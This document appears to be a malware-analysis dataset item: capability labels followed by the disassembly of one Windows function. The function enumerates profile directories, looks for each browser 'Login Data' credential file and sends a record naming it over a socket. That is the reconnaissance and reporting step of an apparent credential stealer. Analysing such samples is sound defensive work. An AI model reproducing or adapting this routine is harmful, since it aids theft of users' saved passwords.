Function at 0x402900
Capabilities:
Enumerate files on windows
Get file attributes
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x580
push esi
push edi
push 0x250
push 0
lea eax, [ebp - 0x580]
push eax
call fcn.004082f0
add esp, 0xc
mov ecx, 0x2e
mov word [ebp - 0x74], cx
xor edx, edx
mov word [ebp - 0x72], dx
mov eax, 0x2e
mov word [ebp - 0x90], ax
mov ecx, 0x2e
mov word [ebp - 0x8e], cx
xor edx, edx
mov word [ebp - 0x8c], dx
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x128], xmm0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x118], 0
mov eax, dword [str.Login_Data]
mov dword [ebp - 0x108], eax
mov ecx, dword [0x4251ac]
mov dword [ebp - 0x104], ecx
mov edx, dword [0x4251b0]
mov dword [ebp - 0x100], edx
mov eax, dword [0x4251b4]
mov dword [ebp - 0xfc], eax
mov ecx, dword [0x4251b8]
mov dword [ebp - 0xf8], ecx
mov edx, dword [0x4251bc]
mov dword [ebp - 0xf4], edx
push 0x208
push 0
lea eax, [ebp - 0x330]
push eax
call fcn.004082f0
add esp, 0xc
mov dword [ebp - 0x11c], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x98], xmm0
xor ecx, ecx
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x9c], ecx
mov edx, dword [ebp + 8]
mov dword [ebp - 0x64], edx
lea eax, [ebp - 0x330]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x64]
mov ax, word [edx]
mov word [ebp - 2], ax
mov ecx, dword [ebp - 0x28]
mov dx, word [ebp - 2]
mov word [ecx], dx
mov eax, dword [ebp - 0x64]
add eax, 2
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x28]
add ecx, 2
mov dword [ebp - 0x28], ecx
cmp word [ebp - 2], 0
jne 0x402a3f
lea edx, [ebp - 0x330]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
add eax, 2
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0x20]
mov dx, word [ecx]
mov word [ebp - 0x46], dx
add dword [ebp - 0x20], 2
cmp word [ebp - 0x46], 0
jne 0x402a81
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0xac]
sar eax, 1
mov dword [ebp - 0xb0], eax
mov ecx, 0x2a
mov edx, dword [ebp - 0xb0]
mov word [ebp + edx*2 - 0x330], cx
lea eax, [ebp - 0x580]
push eax
lea ecx, [ebp - 0x330]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0xffffffff
jne 0x402ade
xor eax, eax
jmp 0x402f56
lea edx, [ebp - 0x330]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add eax, 2
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0x24]
mov dx, word [ecx]
mov word [ebp - 0x48], dx
add dword [ebp - 0x24], 2
cmp word [ebp - 0x48], 0
jne 0x402af3
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0xb4]
sar eax, 1
mov dword [ebp - 0xb8], eax
xor ecx, ecx
mov edx, dword [ebp - 0xb8]
mov word [ebp + edx*2 - 0x332], cx
lea eax, [ebp - 0x74]
mov dword [ebp - 0x30], eax
lea ecx, [ebp - 0x554]
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x2c]
mov ax, word [edx]
mov word [ebp - 0x4a], ax
mov ecx, dword [ebp - 0x30]
cmp ax, word [ecx]
jne 0x402b7d
cmp word [ebp - 0x4a], 0
je 0x402b74
mov edx, dword [ebp - 0x2c]
mov ax, word [edx + 2]
mov word [ebp - 0x4c], ax
mov ecx, dword [ebp - 0x30]
cmp ax, word [ecx + 2]
jne 0x402b7d
add dword [ebp - 0x2c], 4
add dword [ebp - 0x30], 4
cmp word [ebp - 0x4c], 0
jne 0x402b38
mov dword [ebp - 0x78], 0
jmp 0x402b85
sbb edx, edx
or edx, 1
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
je 0x402f2e
lea ecx, [ebp - 0x90]
mov dword [ebp - 0x38], ecx
lea edx, [ebp - 0x554]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov cx, word [eax]
mov word [ebp - 0x4e], cx
mov edx, dword [ebp - 0x38]
cmp cx, word [edx]
jne 0x402bf2
cmp word [ebp - 0x4e], 0
je 0x402be9
mov eax, dword [ebp - 0x34]
mov cx, word [eax + 2]
mov word [ebp - 0x50], cx
mov edx, dword [ebp - 0x38]
cmp cx, word [edx + 2]
jne 0x402bf2
add dword [ebp - 0x34], 4
add dword [ebp - 0x38], 4
cmp word [ebp - 0x50], 0
jne 0x402bad
mov dword [ebp - 0x7c], 0
jmp 0x402bfa
sbb eax, eax
or eax, 1
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 0xc0], ecx
cmp dword [ebp - 0xc0], 0
je 0x402f2e
mov edx, dword [ebp - 0x580]
and edx, 0x10
je 0x402f2e
lea eax, [ebp - 0x554]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x80], ecx
mov edx, dword [ebp - 0xc]
mov ax, word [edx]
mov word [ebp - 0x52], ax
add dword [ebp - 0xc], 2
cmp word [ebp - 0x52], 0
jne 0x402c2e
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x80]
mov edx, dword [ebp - 0x80]
mov dword [ebp - 0xc4], edx
mov dword [ebp - 0xc8], ecx
lea eax, [ebp - 0x330]
add eax, 0xfffffffe
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov dx, word [ecx + 2]
mov word [ebp - 0x54], dx
add dword [ebp - 0x3c], 2
cmp word [ebp - 0x54], 0
jne 0x402c64
mov edi, dword [ebp - 0x3c]
mov esi, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc8]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x108]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x84], edx
mov eax, dword [ebp - 8]
mov cx, word [eax]
mov word [ebp - 0x60], cx
add dword [ebp - 8], 2
cmp word [ebp - 0x60], 0
jne 0x402ca9
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xd0], edx
lea ecx, [ebp - 0x330]
add ecx, 0xfffffffe
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x40]
mov ax, word [edx + 2]
mov word [ebp - 0x56], ax
add dword [ebp - 0x40], 2
cmp word [ebp - 0x56], 0
jne 0x402ce5
mov edi, dword [ebp - 0x40]
mov esi, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xd0]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x68], 0
jmp 0x402d3d
mov ecx, dword [ebp - 0x68]
add ecx, 1
mov dword [ebp - 0x68], ecx
cmp dword [ebp - 0x68], 0xb
jae 0x402d90
lea edx, [ebp - 0x330]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, 2
mov dword [ebp - 0xd4], eax
mov ecx, dword [ebp - 0x10]
mov dx, word [ecx]
mov word [ebp - 0x58], dx
add dword [ebp - 0x10], 2
cmp word [ebp - 0x58], 0
jne 0x402d58
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0xd4]
sar eax, 1
mov dword [ebp - 0xd8], eax
xor ecx, ecx
mov edx, dword [ebp - 0xd8]
mov word [ebp + edx*2 - 0x332], cx
jmp 0x402d34
cmp dword [ebp - 0x88], 0xffffffff
je 0x402e86
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x330]
push ecx
call fcn.00402f60
add esp, 8
mov edx, 8
imul eax, edx, 0
xor ecx, ecx
mov dword [ebp + eax - 0xa8], 0x84
mov dword [ebp + eax - 0xa4], ecx
mov edx, 8
shl edx, 0
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp + edx - 0xa8], eax
mov dword [ebp + edx - 0xa4], ecx
push 0
push 0x10
lea edx, [ebp - 0xa8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call sub.WS2_32.dll_send
lea ecx, [ebp - 0x554]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, 2
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0x14]
mov cx, word [eax]
mov word [ebp - 0x5a], cx
add dword [ebp - 0x14], 2
cmp word [ebp - 0x5a], 0
jne 0x402e1a
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0xdc]
sar edx, 1
mov dword [ebp - 0xe0], edx
mov eax, dword [ebp - 0xe0]
shl eax, 1
mov dword [ebp - 0x6c], eax
push 0
push 4
lea ecx, [ebp - 0x6c]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call sub.WS2_32.dll_send
push 0
mov eax, dword [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x554]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call sub.WS2_32.dll_send
test eax, eax
jg 0x402e7b
jmp 0x402f47
xorps xmm0, xmm0
movlpd qword [ebp - 0x98], xmm0
mov dword [ebp - 0x70], 0
jmp 0x402e98
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
lea ecx, [ebp - 0x554]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
add edx, 2
mov dword [ebp - 0xe4], edx
mov eax, dword [ebp - 0x18]
mov cx, word [eax]
mov word [ebp - 0x5c], cx
add dword [ebp - 0x18], 2
cmp word [ebp - 0x5c], 0
jne 0x402ead
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0xe4]
sar edx, 1
mov dword [ebp - 0xe8], edx
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0xe8]
jae 0x402f2e
lea ecx, [ebp - 0x330]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
add edx, 2
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x1c]
mov cx, word [eax]
mov word [ebp - 0x5e], cx
add dword [ebp - 0x1c], 2
cmp word [ebp - 0x5e], 0
jne 0x402ef3
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0xec]
sar edx, 1
mov dword [ebp - 0xf0], edx
xor eax, eax
mov ecx, dword [ebp - 0xf0]
mov word [ebp + ecx*2 - 0x332], ax
jmp 0x402e8f
lea edx, [ebp - 0x580]
push edx
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x402b29
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret